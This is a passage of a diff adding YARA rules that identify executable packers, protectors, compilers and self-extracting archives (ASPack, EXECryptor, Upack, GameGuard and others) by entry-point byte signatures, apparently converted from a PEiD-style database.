+		$0 = {58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? C1 E5 08 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 18 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 1C 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 1C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 14 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 3C E2 E3}
+	condition:
+		$0
+}
+rule __028_beta__shoooo_
+{
+	meta:
+		description = "Ü¥±±Ñ¹Ëõ 0.28 beta -> shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2021_protected_IAT__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com"
+	strings:
+		$0 = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_1991_
+{
+	meta:
+		description = "Borland C++ 1991"
+	strings:
+		$0 = {2E 8C 06 ?? ?? 2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10_Demo__12__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0 Demo / 1.2 -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+		$1 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _hmimysPacker_10_
+{
+	meta:
+		description = "hmimys-Packer 1.0"
+	strings:
+		$0 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00}
+		$1 = {E8 BA 00 00 00 03 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DragonArmor__Orient_
+{
+	meta:
+		description = "DragonArmor -> Orient"
+	strings:
+		$0 = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+		$1 = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PECrc32_V088__ZhouJinYu_
+{
+	meta:
+		description = "PECrc32 V0.88 -> ZhouJinYu"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10803__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.03 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _The_aPE_Inline_Patch_ExtraStealth_SuperStealth_
+{
+	meta:
+		description = "The aPE Inline Patch ExtraStealth, SuperStealth)"
+	strings:
+		$0 = {E8 02 ?? ?? ?? EB 01 C3 3E 8B 44 24 FC 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_v03__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector v0.3 -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Pack_v10_
+{
+	meta:
+		description = "PE Pack v1.0"
+	strings:
+		$0 = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+		$1 = {74 ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v107b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.07b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_1x__Nooby_
+{
+	meta:
+		description = "NoobyProtect 1.x -> Nooby"
+	strings:
+		$0 = {18 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _RLP_073beta__ap0x_h_
+{
+	meta:
+		description = "RLP 0.7.3beta -> ap0x (h)"
+	strings:
+		$0 = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+	condition:
+		$0 at entrypoint
+}
+rule _RAR_SFX_Modification__Possible_Malware_
+{
+	meta:
+		description = "RAR SFX Modification -> Possible Malware"
+	strings:
+		$0 = {80 3A 52 75 2D 80 7A 01 ?? 75 27 80 7A 02 ?? 75 21 80 7A 03 ?? 75 1B 80 7A 04 ?? 75 15 80 7A 05 ?? 75 0F 80 7A 06 ?? 75 09}
+	condition:
+		$0 at entrypoint
+}
+rule _CA_Visual_Objects_20__25_
+{
+	meta:
+		description = "CA Visual Objects 2.0 - 2.5"
+	strings:
+		$0 = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+		$1 = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DIET_v100_v100d_
+{
+	meta:
+		description = "DIET v1.00, v1.00d"
+	strings:
+		$0 = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+		$1 = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable)"
+	strings:
+		$0 = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EP_v01__CoDe_Inside_
+{
+	meta:
+		description = "EP v0.1 -> CoDe_Inside"
+	strings:
+		$0 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC AA 86 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_197__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 1.9.7 -> SetiSoft"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+		$1 = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05}
+		$2 = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _SecuPack_v15_
+{
+	meta:
+		description = "SecuPack v1.5"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 00 E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 00 64 FF 30 64 89 20 6A 00 68 80 ?? ?? ?? 6A 03 6A 00 6A 01 ?? ?? ?? 80}
+		$1 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v101b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.01b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ASProtect_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ASProtect"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _ARJSFX_Archive_
+{
+	meta:
+		description = "ARJ-SFX Archive"
+	strings:
+		$0 = {4D 5A ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 52 4A 53 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_50_no_debug_
+{
+	meta:
+		description = "Visual C++ 5.0 (no debug)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 00 41 00 68 00 00 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 F0 53 56 57 89 65 E8 FF 15 00 00 00 00 33 D2 8A D4 89 15 00 00 41 00 8B C8 81 E1 FF 00 00 00 89 0D 00 00 41 00 C1 E1 08 03 CA 89 0D 00 00 41 00 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _RTPatch_software_update_package_data_file_
+{
+	meta:
+		description = "RTPatch software update package data file"
+	strings:
+		$0 = {4B 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _FishPE_V11X__hellfish_
+{
+	meta:
+		description = "FishPE V1.1X -> hellfish"
+	strings:
+		$0 = {50 45 00 00 4C 01 0A 00 19 5E 42 2A 00 00 00 00 00 00 00 00 E0 00 8E 81 0B 01 02 19 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ?? ?? ?? ?? 00}
+		$1 = {50 45 00 00 4C 01 0A 00 19 5E 42 2A 00 00 00 00 00 00 00 00 E0 00 8E 81 0B 01 02 19 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 18 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C2 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 E0}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _NeoLite_v20_
+{
+	meta:
+		description = "NeoLite v2.0"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4E 65 6F 4C 69 74 65}
+		$1 = {E9 A6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RCrypt_091_
+{
+	meta:
+		description = "R-Crypt 0.91"
+	strings:
+		$0 = {68 00 01 60 BF 03 01 B9 00 00 B0 00 2E 30 05 FE C0 47 E2 F8 61 C7 06 00 01 00 00 C6 06 02 01 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_kkryptor_9kryptor_a__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake k.kryptor 9/kryptor a) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 ?? ?? ?? ?? 5E B9 00 00 00 00 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 ?? ?? ?? ?? 5E B9 00 00 00 00 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _GameGuard__nProtect_
+{
+	meta:
+		description = "GameGuard - nProtect"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+		$1 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+		$2 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Upack_v0399__Dwing_
+{
+	meta:
+		description = "Upack v0.399 -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+		$1 = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5}
+		$2 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
